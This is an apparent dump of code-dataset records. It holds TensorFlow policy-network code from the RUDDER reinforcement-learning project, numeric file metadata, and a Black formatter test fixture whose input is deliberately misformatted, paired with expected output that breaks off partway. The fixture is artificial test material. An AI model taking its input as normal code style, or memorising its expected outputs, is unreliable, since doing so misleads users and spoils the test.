rr_model.get_visual_features(single_frame=single_frames, delta_frame=delta_frames, additional_inputs=[]) # # Build policy network # with tf.variable_scope("model", reuse=reuse): temperature = tf.get_variable(initializer=tf.constant(1, dtype=tf.float32), trainable=False, name='temperature') additional_inputs = [StopGradientLayer(rr_observation_layer)] observation_layers, observation_features = observation_network( single_frame=single_frames, delta_frame=delta_frames, additional_inputs=additional_inputs, observation_network_config=observation_network_config) self.observation_features_shape = observation_features.get_output_shape() xs = [tf.squeeze(v, [1]) for v in tf.split(axis=1, num_or_size_splits=nsteps, value=tf.reshape(observation_layers[-1].get_output(), [nenv, nsteps, -1]))] ms = batch_to_seq(M, nenv, nsteps) h5, snew = lstm(xs, ms, S, 'lstm1', nh=nlstm) h5 = seq_to_batch(h5) h6 = h5 pi = fc(h6, 'pi', nact) vf = fc(h6, 'v', 1) self.pdtype = make_pdtype(ac_space) self.pd = self.pdtype.pdfromflat(pi) if exploration_config['sample_actions_from_softmax']: a0 = self.pd.sample_temp(temperature=temperature) else: a0 = tf.argmax(pi, axis=-1) v0 = vf[:, 0] neglogp0 = self.pd.neglogp(a0) self.initial_state = np.zeros((nenv, nlstm*2), dtype=np.float32) def step(ob, state, mask): a, v, s, neglogp = tf_session.run([a0, v0, snew, neglogp0], {X:ob, S:state, M:mask}) return a, v, s, neglogp def value(ob, state, mask): return tf_session.run(v0, {X:ob, S:state, M:mask}) def action(ob, state, mask, *_args, **_kwargs): a, s, neglogp = tf_session.run([a0, snew, neglogp0], {X:ob, S:state, M:mask}) return a, s, neglogp # # Placeholders for exploration # n_envs = pi.shape.as_list()[0] exploration_timesteps_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) prev_actions_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) gamelengths_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) keep_prev_action_pl = tf.placeholder(dtype=tf.bool, shape=(n_envs,)) prev_action_count_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) exploration_durations_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) # # Setting up safe exploration # explore = tf.logical_and(tf.logical_and(tf.less_equal(exploration_timesteps_pl, gamelengths_pl), tf.less_equal(gamelengths_pl, exploration_timesteps_pl + exploration_durations_pl)), tf.not_equal(exploration_timesteps_pl, tf.constant(-1, dtype=tf.float32))) safe_pi = pi - tf.reduce_min(pi, axis=-1, keep_dims=True) safe_pi /= tf.reduce_max(safe_pi, axis=-1, keep_dims=True) save_pi_thresholds = (1 - (tf.expand_dims(tf.range(n_envs, dtype=tf.float32), axis=1) / (n_envs + (n_envs == 1) - 1)) * (1 - exploration_config['save_pi_threshold'])) safe_pi = tf.cast(tf.greater_equal(safe_pi, save_pi_thresholds), dtype=tf.float32) safe_pi /= tf.reduce_sum(safe_pi) rand_safe_a = tf.multinomial(safe_pi, 1)[:, 0] safe_pi_flat = tf.reshape(safe_pi, (-1,)) prev_action_is_safe = tf.gather(safe_pi_flat, prev_actions_pl + tf.range(safe_pi.shape.as_list()[0], dtype=tf.int64) * safe_pi.shape.as_list()[1]) prev_action_is_safe = tf.greater(prev_action_is_safe, tf.constant(0, dtype=tf.float32)) a_explore = tf.where(tf.logical_and(tf.logical_and(keep_prev_action_pl, tf.not_equal(gamelengths_pl, exploration_timesteps_pl)), prev_action_is_safe), prev_actions_pl, rand_safe_a) a_explore = tf.where(explore, a_explore, a0) # Make sure the actor doesn't repeat an action too often (otherwise screensaver might start) rand_a = tf.random_uniform(shape=a0.get_shape(), minval=0, maxval=ac_space.n, dtype=a0.dtype) a_explore = tf.where(tf.greater(prev_action_count_pl, tf.constant(20, dtype=tf.int64)), rand_a, a_explore) if not exploration_config['temporal_safe_exploration']: a_explore = a0 neglogp_explore = self.pd.neglogp(a_explore) def action_exploration(ob, state, mask, *_args, exploration_timesteps, prev_actions, gamelengths, keep_prev_action, prev_action_count, exploration_durations, **_kwargs): """Get actions with exploration for long-term reward""" a, s, neglogp = tf_session.run([a_explore, snew, neglogp_explore], {X: ob, S:state, M:mask, exploration_timesteps_pl: exploration_timesteps, prev_actions_pl: prev_actions, gamelengths_pl: gamelengths, exploration_durations_pl: exploration_durations, keep_prev_action_pl: keep_prev_action, prev_action_count_pl: prev_action_count}) return a, s, neglogp self.X = X self.M = M self.S = S self.pi = pi self.vf = vf self.step = step self.value = value self.action = action self.action_exploration = action_exploration self.seq_ob_shape = seq_ob_shape self.exploration_config = exploration_config def get_observation_features(self, frame, delta): """Get output features of observation network (to be fed into reward redistribution network)""" with tf.variable_scope("model", reuse=tf.AUTO_REUSE): _, observation_features = observation_network( single_frame=frame[..., -1:], delta_frame=delta, additional_inputs=[], observation_network_config=self.exploration_config['observation_network_config']) observation_features = observation_features.get_output() return observation_features class LstmPolicyDense(object): def __init__(self, tf_session, ob_space, ac_space, nbatch, reward_redistribution_config, observation_network_config, lstm_network_config, training_config, exploration_config, nsteps, nlstm=64, reuse=False): """LSTM policy network with additional dense layer after LSTM layer, as described in RUDDER paper Based on baselines.ppo2.policies.py; LSTM layer sees features from it's own trainable observation network and the features from the reward redistribution observation network; The additional dense layer after the LSTM layer contains 128 hidden units; Parameters ------- tf_session : tensorflow session tensorflow session to compute the graph in ob_space Baselines ob_space object (see ppo2_rudder.py); must provide .shape attribute for (x, y, c) shapes; ac_space Baselines ac_space object (see ppo2_rudder.py); must provide .n attribute for number of possible actions; nbatch : int Batchsize nsteps : int Fixed number of timesteps to process at once reward_redistribution_config : dict Dictionary containing config for reward redistribution: ----- lambda_eligibility_trace : float Eligibility trace value for redistributed reward vf_contrib : float Weighting of original value function (vf) vs. redistributed reward (rr), s.t. :math:`reward = vf \cdot vf\_contrib + rr \cdot (1-vf\_contrib)` use_reward_redistribution_quality_threshold : float Quality of reward redistribution has to exceed use_reward_redistribution_quality_threshold to be used; use_reward_redistribution_quality_threshold range is [0,1]; Quality measure is the squared prediction error, as described in RUDDER paper; use_reward_redistribution : bool Use reward redistribution? rr_junksize : int Junksize for reward redistribution; Junks overlap by 1 half each cont_pred_w : float Weighting of continous prediciton loss vs. prediction loss of final return at last timestep intgrd_steps : int Stepsize for integrated gradients intgrd_batchsize : int Integrated gradients is computed batch-wise if intgrd_batchsize > 1 observation_network_config : dict Dictionary containing config for observation network that processes observations and feeds them to LSTM network: ----- show_states : bool Show frames to network? show_statedeltas : bool Show frame deltas to network? prepoc_states : list of dicts Network config to preprocess frames prepoc_deltas : list of dicts Network config to preprocess frame deltas prepoc_observations : list of dicts Network config to preprocess features from frame and frame-delta preprocessing networks lstm_network_config : dict Dictionary containing config for LSTM network: ----- show_actions : bool Show taken actions to LSTM? reversed : bool Process game sequence in reversed order? layers : list of dicts Network config for LSTM network and optional additional dense layers initializations : dict Initialization config for LSTM network timestep_encoding : dict Set "max_value" and "triangle_span" for TeLL.utiltiy.misc_tensorflow.TriangularValueEncoding class training_config : dict Dictionary containing config for training and update procedure: ----- n_no_rr_updates : int Number of updates to perform without training or using reward redistribution network n_pretrain_games : int Number of games to pretrain the reward redistribution network without using it; downscale_lr_policylag : bool Downscale learningrate permanently if policy lag gets too large? optimizer : tf.train optimizer Optimizer in tf.train, e.g. "AdamOptimizer" optimizer_params : dict Kwargs for optimizer l1 : float Weighting for l1 weight regularization l2 : float Weighting for l2 weight regularization clip_gradients : float Threshold for clipping gradients (clipping by norm) exploration_config : dict Dictionary containing config for exploration: ----- sample_actions_from_softmax : bool True: Apply softmax to policy network output and use it as probabilities to pick an action False: Use the max. policy network output as action temporal_safe_exploration : bool User RUDDER safe exploration save_pi_threshold : float Threshold value in range [0,1] for safe actions in RUDDER safe exploration nlstm : int Number of LSTM units (=memory cells) reuse : bool Reuse tensorflow variables? """ # # Shapes # nenv = nbatch // nsteps nh, nw, nc = ob_space.shape ob_shape = (nbatch, nh, nw, nc) seq_ob_shape = (nenv, -1, nh, nw, 1) nact = ac_space.n # # Placeholders # X = tf.placeholder(tf.uint8, ob_shape) #obs M = tf.placeholder(tf.float32, [nbatch]) #mask (done t-1) S = tf.placeholder(tf.float32, [nenv, nlstm*2]) #states # # Prepare input # single_frames = tf.cast(tf.reshape(X[..., -1:], shape=seq_ob_shape), dtype=tf.float32) delta_frames = single_frames - tf.cast(tf.reshape(X[..., -2:-1], shape=seq_ob_shape), dtype=tf.float32) # # Get observation features from RR model # rr_model = RewardRedistributionModel(reward_redistribution_config=reward_redistribution_config, observation_network_config=observation_network_config, lstm_network_config=lstm_network_config, training_config=training_config, scopename="RR") self.rr_observation_model = rr_model rr_observation_layer = rr_model.get_visual_features(single_frame=single_frames, delta_frame=delta_frames, additional_inputs=[]) # # Build policy network # with tf.variable_scope("model", reuse=reuse): temperature = tf.get_variable(initializer=tf.constant(1, dtype=tf.float32), trainable=False, name='temperature') additional_inputs = [StopGradientLayer(rr_observation_layer)] observation_layers, observation_features = observation_network( single_frame=single_frames, delta_frame=delta_frames, additional_inputs=additional_inputs, observation_network_config=observation_network_config) self.observation_features_shape = observation_features.get_output_shape() xs = [tf.squeeze(v, [1]) for v in tf.split(axis=1, num_or_size_splits=nsteps, value=tf.reshape(observation_layers[-1].get_output(), [nenv, nsteps, -1]))] ms = batch_to_seq(M, nenv, nsteps) h5, snew = lstm(xs, ms, S, 'lstm1', nh=nlstm) h5 = seq_to_batch(h5) h6 = fc(h5, 'fc1', nh=128, init_scale=np.sqrt(2)) pi = fc(h6, 'pi', nact) vf = fc(h6, 'v', 1) self.pdtype = make_pdtype(ac_space) self.pd = self.pdtype.pdfromflat(pi) if exploration_config['sample_actions_from_softmax']: a0 = self.pd.sample_temp(temperature=temperature) else: a0 = tf.argmax(pi, axis=-1) v0 = vf[:, 0] neglogp0 = self.pd.neglogp(a0) self.initial_state = np.zeros((nenv, nlstm*2), dtype=np.float32) def step(ob, state, mask): a, v, s, neglogp = tf_session.run([a0, v0, snew, neglogp0], {X:ob, S:state, M:mask}) return a, v, s, neglogp def value(ob, state, mask): return tf_session.run(v0, {X:ob, S:state, M:mask}) def action(ob, state, mask, *_args, **_kwargs): a, s, neglogp = tf_session.run([a0, snew, neglogp0], {X:ob, S:state, M:mask}) return a, s, neglogp # # Placeholders for exploration # n_envs = pi.shape.as_list()[0] exploration_timesteps_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) prev_actions_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) gamelengths_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) keep_prev_action_pl = tf.placeholder(dtype=tf.bool, shape=(n_envs,)) prev_action_count_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) exploration_durations_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) # # Setting up safe exploration # explore = tf.logical_and(tf.logical_and(tf.less_equal(exploration_timesteps_pl, gamelengths_pl), tf.less_equal(gamelengths_pl, exploration_timesteps_pl + exploration_durations_pl)), tf.not_equal(exploration_timesteps_pl, tf.constant(-1, dtype=tf.float32))) safe_pi = pi - tf.reduce_min(pi, axis=-1, keep_dims=True) safe_pi /= tf.reduce_max(safe_pi, axis=-1, keep_dims=True) save_pi_thresholds = (1 - (tf.expand_dims(tf.range(n_envs, dtype=tf.float32), axis=1) / (n_envs + (n_envs == 1) - 1)) * (1 - exploration_config['save_pi_threshold'])) safe_pi = tf.cast(tf.greater_equal(safe_pi, save_pi_thresholds), dtype=tf.float32) safe_pi /= tf.reduce_sum(safe_pi) rand_safe_a = tf.multinomial(safe_pi, 1)[:, 0] safe_pi_flat = tf.reshape(safe_pi, (-1,)) prev_action_is_safe = tf.gather(safe_pi_flat, prev_actions_pl + tf.range(safe_pi.shape.as_list()[0], dtype=tf.int64) * safe_pi.shape.as_list()[1]) prev_action_is_safe = tf.greater(prev_action_is_safe, tf.constant(0, dtype=tf.float32)) a_explore = tf.where(tf.logical_and(tf.logical_and(keep_prev_action_pl, tf.not_equal(gamelengths_pl, exploration_timesteps_pl)), prev_action_is_safe), prev_actions_pl, rand_safe_a) a_explore = tf.where(explore, a_explore, a0) # Make sure the actor doesn't repeat an action too often (otherwise screensaver might start) rand_a = tf.random_uniform(shape=a0.get_shape(), minval=0, maxval=ac_space.n, dtype=a0.dtype) a_explore = tf.where(tf.greater(prev_action_count_pl, tf.constant(20, dtype=tf.int64)), rand_a, a_explore) if not exploration_config['temporal_safe_exploration']: a_explore = a0 neglogp_explore = self.pd.neglogp(a_explore) def action_exploration(ob, state, mask, *_args, exploration_timesteps, prev_actions, gamelengths, keep_prev_action, prev_action_count, exploration_durations, **_kwargs): """Get actions with exploration for long-term reward""" a, s, neglogp = tf_session.run([a_explore, snew, neglogp_explore], {X: ob, S:state, M:mask, exploration_timesteps_pl: exploration_timesteps, prev_actions_pl: prev_actions, gamelengths_pl: gamelengths, exploration_durations_pl: exploration_durations, keep_prev_action_pl: keep_prev_action, prev_action_count_pl: prev_action_count}) return a, s, neglogp self.X = X self.M = M self.S = S self.pi = pi self.vf = vf self.step = step self.value = value self.action = action self.action_exploration = action_exploration self.seq_ob_shape = seq_ob_shape self.exploration_config = exploration_config def get_observation_features(self, frame, delta): """Get output features of observation network (to be fed into reward redistribution network)""" with tf.variable_scope("model", reuse=tf.AUTO_REUSE): _, observation_features = observation_network( single_frame=frame[..., -1:], delta_frame=delta, additional_inputs=[], observation_network_config=self.exploration_config['observation_network_config']) observation_features = observation_features.get_output() return observation_features class CnnPolicy(object): def __init__(self, tf_session, ob_space, ac_space, nbatch, reward_redistribution_config, observation_network_config, lstm_network_config, training_config, exploration_config, reuse=False, **kwargs): """CNN policy network, as described in RUDDER paper Based on baselines.ppo2.policies.py; Dense layer sees features from it's own trainable observation network and the features from the reward redistribution observation network; Parameters ------- tf_session : tensorflow session tensorflow session to compute the graph in ob_space Baselines ob_space object (see ppo2_rudder.py); must provide .shape attribute for (x, y, c) shapes; ac_space Baselines ac_space object (see ppo2_rudder.py); must provide .n attribute for number of possible actions; nbatch : int Batchsize reward_redistribution_config : dict Dictionary containing config for reward redistribution: ----- lambda_eligibility_trace : float Eligibility trace value for redistributed reward vf_contrib : float Weighting of original value function (vf) vs. redistributed reward (rr), s.t. :math:`reward = vf \cdot vf\_contrib + rr \cdot (1-vf\_contrib)` use_reward_redistribution_quality_threshold : float Quality of reward redistribution has to exceed use_reward_redistribution_quality_threshold to be used; use_reward_redistribution_quality_threshold range is [0,1]; Quality measure is the squared prediction error, as described in RUDDER paper; use_reward_redistribution : bool Use reward redistribution? rr_junksize : int Junksize for reward redistribution; Junks overlap by 1 half each cont_pred_w : float Weighting of continous prediciton loss vs. prediction loss of final return at last timestep intgrd_steps : int Stepsize for integrated gradients intgrd_batchsize : int Integrated gradients is computed batch-wise if intgrd_batchsize > 1 observation_network_config : dict Dictionary containing config for observation network that processes observations and feeds them to LSTM network: ----- show_states : bool Show frames to network? show_statedeltas : bool Show frame deltas to network? prepoc_states : list of dicts Network config to preprocess frames prepoc_deltas : list of dicts Network config to preprocess frame deltas prepoc_observations : list of dicts Network config to preprocess features from frame and frame-delta preprocessing networks lstm_network_config : dict Dictionary containing config for LSTM network: ----- show_actions : bool Show taken actions to LSTM? reversed : bool Process game sequence in reversed order? layers : list of dicts Network config for LSTM network and optional additional dense layers initializations : dict Initialization config for LSTM network timestep_encoding : dict Set "max_value" and "triangle_span" for TeLL.utiltiy.misc_tensorflow.TriangularValueEncoding class training_config : dict Dictionary containing config for training and update procedure: ----- n_no_rr_updates : int Number of updates to perform without training or using reward redistribution network n_pretrain_games : int Number of games to pretrain the reward redistribution network without using it; downscale_lr_policylag : bool Downscale learningrate permanently if policy lag gets too large? optimizer : tf.train optimizer Optimizer in tf.train, e.g. "AdamOptimizer" optimizer_params : dict Kwargs for optimizer l1 : float Weighting for l1 weight regularization l2 : float Weighting for l2 weight regularization clip_gradients : float Threshold for clipping gradients (clipping by norm) exploration_config : dict Dictionary containing config for exploration: ----- sample_actions_from_softmax : bool True: Apply softmax to policy network output and use it as probabilities to pick an action False: Use the max. policy network output as action temporal_safe_exploration : bool User RUDDER safe exploration save_pi_threshold : float Threshold value in range [0,1] for safe actions in RUDDER safe exploration reuse : bool Reuse tensorflow variables? """ # # Shapes # nh, nw, nc = ob_space.shape activ = tf.nn.relu ob_shape = (nbatch, nh, nw, nc) nact = ac_space.n # # Placeholders # X = tf.placeholder(tf.uint8, ob_shape) #obs M = tf.placeholder(tf.float32, [nbatch]) #mask (done t-1) # # Prepare input # single_frames = tf.cast(tf.expand_dims(X[..., -1:], axis=1), dtype=tf.float32) delta_frames = single_frames - tf.cast(tf.expand_dims(X[..., -2:-1], axis=1), dtype=tf.float32) delta_frames *= tf.reshape(M, shape=(nbatch, 1, 1, 1, 1)) # # Get observation features from RR model # rr_model = RewardRedistributionModel(reward_redistribution_config=reward_redistribution_config, observation_network_config=observation_network_config, lstm_network_config=lstm_network_config, training_config=training_config, scopename="RR") self.rr_observation_model = rr_model rr_observation_layer = rr_model.get_visual_features(single_frame=single_frames, delta_frame=delta_frames, additional_inputs=[]) # Get output tensor rr_observations = rr_observation_layer.get_output()[:, 0] # # Build policy network # with tf.variable_scope("model", reuse=reuse): temperature = tf.get_variable(initializer=tf.constant(1, dtype=tf.float32), trainable=False, name='temperature') observation_features = nature_cnn(X) self.observation_features_shape = tf.expand_dims(observation_features, axis=0).shape # Concat observation feature from RR model and A2C model h_for_a2c = tf.concat([observation_features, tf.stop_gradient(rr_observations)], axis=-1) with tf.variable_scope("model", reuse=reuse): h_for_a2c = activ(fc(h_for_a2c, 'fc1', nh=512, init_scale=np.sqrt(2))) with tf.variable_scope("model", reuse=reuse): pi = fc(h_for_a2c, 'pi', nact, init_scale=0.01) vf = fc(h_for_a2c, 'v', 1)[:, 0] self.pdtype = make_pdtype(ac_space) self.pd = self.pdtype.pdfromflat(pi) if exploration_config['sample_actions_from_softmax']: a0 = self.pd.sample_temp(temperature=temperature) else: a0 = tf.argmax(pi, axis=-1) neglogp0 = self.pd.neglogp(a0) self.initial_state = None def step(ob, state, mask, *_args, **_kwargs): a, v, neglogp = tf_session.run([a0, vf, neglogp0], {X: ob, M:mask}) return a, v, self.initial_state, neglogp def value(ob, state, mask, *_args, **_kwargs): return tf_session.run(vf, {X: ob, M:mask}) def action(ob, state, mask, *_args, **_kwargs): a, neglogp = tf_session.run([a0, neglogp0], {X:ob, M:mask}) return a, self.initial_state, neglogp # # Placeholders for exploration # n_envs = pi.shape.as_list()[0] exploration_timesteps_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) prev_actions_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) gamelengths_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) keep_prev_action_pl = tf.placeholder(dtype=tf.bool, shape=(n_envs,)) prev_action_count_pl = tf.placeholder(dtype=tf.int64, shape=(n_envs,)) exploration_durations_pl = tf.placeholder(dtype=tf.float32, shape=(n_envs,)) # # Setting up safe exploration # explore = tf.logical_and(tf.logical_and(tf.less_equal(exploration_timesteps_pl, gamelengths_pl), tf.less_equal(gamelengths_pl, exploration_timesteps_pl + exploration_durations_pl)), tf.not_equal(exploration_timesteps_pl, tf.constant(-1, dtype=tf.float32))) safe_pi = pi - tf.reduce_min(pi, axis=-1, keep_dims=True) safe_pi /= tf.reduce_max(safe_pi, axis=-1, keep_dims=True) save_pi_thresholds = (1 - (tf.expand_dims(tf.range(n_envs, dtype=tf.float32), axis=1) / (n_envs + (n_envs == 1) - 1)) * (1 - exploration_config['save_pi_threshold'])) safe_pi = tf.cast(tf.greater_equal(safe_pi, save_pi_thresholds), dtype=tf.float32) safe_pi /= tf.reduce_sum(safe_pi) rand_safe_a = tf.multinomial(safe_pi, 1)[:, 0] safe_pi_flat = tf.reshape(safe_pi, (-1,)) prev_action_is_safe = tf.gather(safe_pi_flat, prev_actions_pl + tf.range(safe_pi.shape.as_list()[0], dtype=tf.int64) * safe_pi.shape.as_list()[1]) prev_action_is_safe = tf.greater(prev_action_is_safe, tf.constant(0, dtype=tf.float32)) a_explore = tf.where(tf.logical_and(tf.logical_and(keep_prev_action_pl, tf.not_equal(gamelengths_pl, exploration_timesteps_pl)), prev_action_is_safe), prev_actions_pl, rand_safe_a) a_explore = tf.where(explore, a_explore, a0) # Make sure the actor doesn't repeat an action too often (otherwise screensaver might start) rand_a = tf.random_uniform(shape=a0.get_shape(), minval=0, maxval=ac_space.n, dtype=a0.dtype) a_explore = tf.where(tf.greater(prev_action_count_pl, tf.constant(20, dtype=tf.int64)), rand_a, a_explore) if not exploration_config['temporal_safe_exploration']: a_explore = a0 neglogp_explore = self.pd.neglogp(a_explore) def action_exploration(ob, state, mask, *_args, exploration_timesteps, prev_actions, gamelengths, keep_prev_action, prev_action_count, exploration_durations, **_kwargs): """Exploration for long-term reward""" a, neglogp = tf_session.run([a_explore, neglogp_explore], {X:ob, M:mask, exploration_timesteps_pl:exploration_timesteps, prev_actions_pl:prev_actions, gamelengths_pl:gamelengths, exploration_durations_pl:exploration_durations, keep_prev_action_pl:keep_prev_action, prev_action_count_pl:prev_action_count}) return a, self.initial_state, neglogp self.X = X self.M = M self.pi = pi self.vf = vf self.step = step self.action = action self.value = value self.action_exploration = action_exploration def get_observation_features(self, frame, delta=None): """Get output features of observation network (to be fed into reward redistribution network)""" with tf.variable_scope("model", reuse=tf.AUTO_REUSE): return tf.expand_dims(nature_cnn(frame[:, 0]), dim=1)
49.826286
119
0.597092
5,129
43,598
4.855917
0.085007
0.040151
0.016863
0.014454
0.905123
0.895527
0.88023
0.873605
0.863728
0.857785
0
0.014223
0.322698
43,598
874
120
49.883295
0.829219
0.341025
0
0.798942
0
0
0.016233
0.007944
0
0
0
0
0
1
0.05291
false
0
0.015873
0.007937
0.121693
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
1968904aa4a7d38c297987d9e5e86c8480e50b2e
39
py
Python
scripts/Drums/test3.py
sourav-majumder/qtlab
96b2a127b1df7b45622c90229bd5ef8a4083614e
[ "MIT" ]
null
null
null
scripts/Drums/test3.py
sourav-majumder/qtlab
96b2a127b1df7b45622c90229bd5ef8a4083614e
[ "MIT" ]
null
null
null
scripts/Drums/test3.py
sourav-majumder/qtlab
96b2a127b1df7b45622c90229bd5ef8a4083614e
[ "MIT" ]
null
null
null
a=[[1,2,3,4],[5,6,7,8]] print(a[1][0])
19.5
24
0.435897
13
39
1.307692
0.846154
0.235294
0
0
0
0
0
0
0
0
0
0.27027
0.051282
39
2
25
19.5
0.189189
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
1
1
null
1
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
8
27301ba714168bbd207cfb269fcc6e0463a19427
176
py
Python
plaso/analyzers/__init__.py
nflexfo/plaso
5da7aa51c39b593773687fdf20a93ba35fc492b4
[ "Apache-2.0" ]
1,253
2015-01-02T13:58:02.000Z
2022-03-31T08:43:39.000Z
plaso/analyzers/__init__.py
nflexfo/plaso
5da7aa51c39b593773687fdf20a93ba35fc492b4
[ "Apache-2.0" ]
3,388
2015-01-02T11:17:58.000Z
2022-03-30T10:21:45.000Z
plaso/analyzers/__init__.py
nflexfo/plaso
5da7aa51c39b593773687fdf20a93ba35fc492b4
[ "Apache-2.0" ]
376
2015-01-20T07:04:54.000Z
2022-03-04T23:53:00.000Z
# -*- coding: utf-8 -*- """This file imports Python modules that register analyzers.""" from plaso.analyzers import hashing_analyzer from plaso.analyzers import yara_analyzer
29.333333
63
0.772727
23
176
5.826087
0.73913
0.134328
0.268657
0.358209
0
0
0
0
0
0
0
0.006494
0.125
176
5
64
35.2
0.863636
0.454545
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
273f2a489c4cfffcddd6129121499ff2913975c7
130
py
Python
Lesson/Lesson5.py
RikardOledal/Python-Rikard
7d201acc0b5a9c5dce666787b7a89de63084a20d
[ "MIT" ]
null
null
null
Lesson/Lesson5.py
RikardOledal/Python-Rikard
7d201acc0b5a9c5dce666787b7a89de63084a20d
[ "MIT" ]
null
null
null
Lesson/Lesson5.py
RikardOledal/Python-Rikard
7d201acc0b5a9c5dce666787b7a89de63084a20d
[ "MIT" ]
null
null
null
a_list = = [10, 1_0000, 10_000] a_tuple = (10, 1_000, 10_000) a_set = {10, 1_000, 10_000} a_str = "hello" discounts = [5, 10,15]
18.571429
31
0.630769
28
130
2.571429
0.464286
0.125
0.25
0.222222
0.333333
0.333333
0
0
0
0
0
0.367925
0.184615
130
6
32
21.666667
0.311321
0
0
0
0
0
0.03876
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
27760bd51d7579fe80cd6fd41fc1949c989f6192
5,371
py
Python
tests/data/return_annotation_brackets.py
jpy-git/black
8ed3e3d07ea3e6d62e3e533e69f96a0ff148cd5d
[ "MIT" ]
2
2022-01-13T08:10:07.000Z
2022-01-13T08:35:37.000Z
tests/data/return_annotation_brackets.py
nafallo/black
fb8dfdeec5fd76cc0c30f881d6fc75851139d80a
[ "MIT" ]
11
2022-02-07T14:19:42.000Z
2022-03-29T06:07:31.000Z
tests/data/preview/return_annotation_brackets.py
hampuskraft/black
f2d279faed9e545b8d6fbb620fa239dee5e67520
[ "MIT" ]
null
null
null
# Control def double(a: int) -> int: return 2*a # Remove the brackets def double(a: int) -> (int): return 2*a # Some newline variations def double(a: int) -> ( int): return 2*a def double(a: int) -> (int ): return 2*a def double(a: int) -> ( int ): return 2*a # Don't lose the comments def double(a: int) -> ( # Hello int ): return 2*a def double(a: int) -> ( int # Hello ): return 2*a # Really long annotations def foo() -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ): return 2 def foo() -> intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds: return 2 def foo() -> intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds | intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds: return 2 def foo(a: int, b: int, c: int,) -> intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds: return 2 def foo(a: int, b: int, c: int,) -> intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds | intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds: return 2 # Split args but no need to split return def foo(a: int, b: int, c: int,) -> int: return 2 # Deeply nested brackets # with *interesting* spacing def double(a: int) -> (((((int))))): return 2*a def double(a: int) -> ( ( ( ((int) ) ) ) ): return 2*a def foo() -> ( ( ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ) )): return 2 # Return type with commas def foo() -> ( tuple[int, int, int] ): return 2 def foo() -> tuple[loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong, loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong, loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong]: return 2 # Magic trailing comma example def foo() -> tuple[int, int, int,]: return 2 # Long string example def frobnicate() -> "ThisIsTrulyUnreasonablyExtremelyLongClassName | list[ThisIsTrulyUnreasonablyExtremelyLongClassName]": pass # output # Control def double(a: int) -> int: return 2 * a # Remove the brackets def double(a: int) -> int: return 2 * a # Some newline variations def double(a: int) -> int: return 2 * a def double(a: int) -> int: return 2 * a def double(a: int) -> int: return 2 * a # Don't lose the comments def double(a: int) -> int: # Hello return 2 * a def double(a: int) -> int: # Hello return 2 * a # Really long annotations def foo() -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ): return 2 def foo() -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds ): return 2 def foo() -> ( intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds | intsdfsafafafdfdsasdfsfsdfasdfafdsafdfdsfasdskdsdsfdsafdsafsdfdasfffsfdsfdsafafhdskfhdsfjdslkfdlfsdkjhsdfjkdshfkljds 